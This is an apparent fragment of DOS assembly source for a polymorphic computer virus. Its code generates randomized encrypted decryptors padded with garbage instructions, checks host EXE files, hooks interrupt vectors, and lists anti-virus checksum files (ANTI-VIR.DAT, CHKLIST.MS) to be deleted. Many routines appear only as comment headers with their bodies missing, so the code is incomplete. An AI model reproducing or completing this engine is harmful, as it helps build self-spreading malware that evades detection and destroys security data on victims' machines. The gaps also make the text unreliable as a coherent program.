;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
gen_polymorph: cld
call rand_16 ; Get displacement
and al,0FEh ; Avoid odd displace
mov word ptr ds:[eng_displace],ax
call rand_16 ; Get crypt key
mov word ptr ds:[eng_crypt_key],ax
mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter
cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only
jne skip_1st_block ; on EXE files
call gen_rnd_block ; Block of rand data
skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry
mov ax,(offset end_opcodes - offset opcodes_table)/02h
call rand_in_range
add ax,ax
mov si,offset opcodes_table ; Get pointer to
add si,ax ; random reg table
lodsw
mov si,ax
call gen_garbage
; At this point,
; DS:SI -> reg opcode table+01h
;
; +00h add [bp+nn],key
; rol [bp+nn],01h
; inc [bp+nn]
; +01h sub [bp+nn],key
; +02h xor [bp+nn],key
; +03h ror [bp+nn],01h
; dec [bp+nn]
; +04h add bp,inm
; +05h sub bp,inm
; +06h inc bp
; +07h cmp bp,inm
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Perform encryption ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate random data block ³
;³ On entry to rnd_fill_loop: ³
;³ ES:DI -> buffer to be filled ³
;³ CX -> buffer size in bytes ³
;³ Warning: direction flag must be clear ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with sub instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with xor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with rol instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with ror instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with inc instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with dec instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0002h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFEh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ptr_inc_add: call gen_inc_reg
call gen_garbage
call gen_add_0001h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ptr_sub_add: call gen_sub_FFFFh
call gen_garbage
call gen_add_0001h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate from 2 up to 5 garbage instructions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
gen_garbage: push si
inc byte ptr ds:[eng_recursive]
cmp byte ptr ds:[eng_recursive],03h
jae unable_2_gen
mov ax,0003h
call rand_in_range
inc ax
mov cx,ax
loop_gen: push cx
mov ax,(offset end_generator - offset generator_table)/02h
call rand_in_range
add ax,ax
mov si,offset generator_table
add si,ax
call word ptr ds:[si]
pop cx
loop loop_gen
pop si
ret
unable_2_gen: mov byte ptr ds:[eng_recursive],00h
call gen_one_byte
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push/garbage/pop ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a conditional jump followed by some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push/pop pairs ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate pop instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate one byte garbage ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Poly engine tables ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ File names to delete inside the int 21h level encryption ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
del_this_shit01 db "ANTI-VIR.DAT",00h
del_this_shit02 db "CHKLIST.MS",00h
dd 00000000h
end_area03h equ this byte
dd 00000000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Memory allocation routine ³
;³ On entry: ³
;³ SI -> number of paragraphs to allocate ³
;³ On exit: ³
;³ DI -> allocated base address (0000h if error) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Timer-based random number generator ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_rnd: push cx
in ax,40h ; Get a random number
mov cl,al ; using the timer
xor al,ah ; port
xor ah,cl
xor ax,word ptr cs:[randomize]
mov word ptr cs:[randomize],ax
pop cx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a 16bit random number ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
rand_16: push bx
call get_rnd ; Get a 16bit random
mov bl,al ; number using our
call get_rnd ; 8bit rnd generator
mov bh,al
call get_rnd
xor bl,al
call get_rnd
xor bh,al
xchg bx,ax
pop bx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a random number between 0 and AX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Return the al vector in ES:BX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_int: push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Set al interrupt vector to DS:DX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
set_int: push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret
